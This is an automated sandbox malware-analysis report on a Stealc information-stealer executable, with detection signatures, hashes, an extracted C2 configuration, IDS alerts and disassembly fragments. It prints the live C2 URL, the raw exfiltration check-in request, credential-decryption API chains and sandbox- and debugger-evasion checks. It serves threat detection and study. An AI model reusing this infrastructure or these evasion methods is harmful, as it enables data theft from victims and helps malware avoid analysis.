Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1526104
MD5:	5e8286d88eeff93b753e7454a6b431fd
SHA1:	9cd9b91b5dd298a811d922714c506581e7c27b96
SHA256:	9c62b127d6790b9b7957057a75441bc1a4e5eaf4f5c6c2669e833154739adb00
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 2228 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5E8286D88EEFF93B753E7454A6B431FD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2079880306.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2228	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2228	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.d30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T18:56:06.423122+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.d30000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00D3C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D39AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00D39AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D37240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00D37240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D39B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00D39B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D48EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00D48EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00D438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D44910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D3DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00D3E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00D44570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00D3ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F68A FindFirstFileA,	0_2_00D3F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D3F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D43EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00D43EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D3DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 44 45 44 30 38 33 45 39 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="hwid"22DED083E9503012343576------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="build"doma------DHDAFBFCFHIDAKFIIEBA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D34880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00D34880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 44 45 44 30 38 33 45 39 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="hwid"22DED083E9503012343576------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="build"doma------DHDAFBFCFHIDAKFIIEBA--

Source: file.exe, 00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2120585250.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/C
Source: file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: file.exe, 00000000.00000002.2120585250.0000000000934000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpF
Source: file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr
Source: file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php~

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156	0_2_010F4156
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0110916B	0_2_0110916B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FD9EE	0_2_010FD9EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0105B1E0	0_2_0105B1E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118400A	0_2_0118400A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01102841	0_2_01102841
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F0369	0_2_010F0369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FFB89	0_2_010FFB89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FA3A3	0_2_010FA3A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01105BCC	0_2_01105BCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101571F	0_2_0101571F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01107E1D	0_2_01107E1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DFE83	0_2_010DFE83

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00D345C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uygwklsw ZLIB complexity 0.9949165076335877

Source: file.exe, 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2079880306.0000000004C10000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D48680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00D48680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D43720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00D43720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\SXNZZ16P.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1833472 > 1048576

Source: file.exe

Static PE information: Raw size of uygwklsw is bigger than: 0x100000 < 0x199600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uygwklsw:EW;sowhbkpg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uygwklsw:EW;sowhbkpg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D49860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D49860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c2907 should be: 0x1cb203

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uygwklsw
Source: file.exe	Static PE information: section name: sowhbkpg
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119C911 push 70CE36DEh; mov dword ptr [esp], eax	0_2_0119C934
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011CA104 push 2BE62F23h; mov dword ptr [esp], eax	0_2_011CA110
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B4105 push 282133F6h; mov dword ptr [esp], eax	0_2_011B41C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40DD push ecx; mov dword ptr [esp], edi	0_2_00FE40F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40DD push 617CF6B3h; mov dword ptr [esp], ecx	0_2_00FE4197
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40DD push 036D77C9h; mov dword ptr [esp], esi	0_2_00FE4245
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40DD push ebp; mov dword ptr [esp], edi	0_2_00FE4270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40DD push eax; mov dword ptr [esp], 62EAE6C1h	0_2_00FE4274
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118892E push ecx; mov dword ptr [esp], edx	0_2_011889A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push eax; mov dword ptr [esp], esi	0_2_010F420B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 6A10B396h; mov dword ptr [esp], eax	0_2_010F4213
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 3480CEFDh; mov dword ptr [esp], edx	0_2_010F42A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push eax; mov dword ptr [esp], edi	0_2_010F43D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push eax; mov dword ptr [esp], ebp	0_2_010F4404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push ecx; mov dword ptr [esp], 0681DBFAh	0_2_010F4535
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 60DA73E7h; mov dword ptr [esp], esi	0_2_010F4572
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 5D28279Ah; mov dword ptr [esp], edx	0_2_010F45BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 777B1058h; mov dword ptr [esp], ecx	0_2_010F46B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push ebx; mov dword ptr [esp], edx	0_2_010F475B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 786BCF45h; mov dword ptr [esp], ecx	0_2_010F47D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 5D51634Dh; mov dword ptr [esp], ecx	0_2_010F47DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 2C5CF9E2h; mov dword ptr [esp], eax	0_2_010F47EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 1C1DCC99h; mov dword ptr [esp], ebx	0_2_010F4801
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push eax; mov dword ptr [esp], edi	0_2_010F485A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push esi; mov dword ptr [esp], ebx	0_2_010F485F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push ebx; mov dword ptr [esp], esi	0_2_010F4884
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 6A392154h; mov dword ptr [esp], edx	0_2_010F4894
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 62AED822h; mov dword ptr [esp], eax	0_2_010F4967
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 584B5B43h; mov dword ptr [esp], esp	0_2_010F499C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push ebp; mov dword ptr [esp], edx	0_2_010F4A29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4156 push 5C5F3346h; mov dword ptr [esp], esi	0_2_010F4A39

Source: file.exe

Static PE information: section name: uygwklsw entropy: 7.954033280427647

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00D49860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13404

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110EBD6 second address: 110EBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F83A3 second address: 10F83A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DB53 second address: 110DB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007FC83CB776A6h 0x0000000c jng 00007FC83CB776A6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC83CB776B2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DB7E second address: 110DBA4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007FC83CB64D36h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007FC83CB64D36h 0x00000020 jne 00007FC83CB64D36h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DE40 second address: 110DE56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC83CB776B0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DF81 second address: 110DFA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Fh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FC83CB64D36h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E12C second address: 110E150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC83CB776B4h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E150 second address: 110E165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D41h 0x00000009 rdtsc
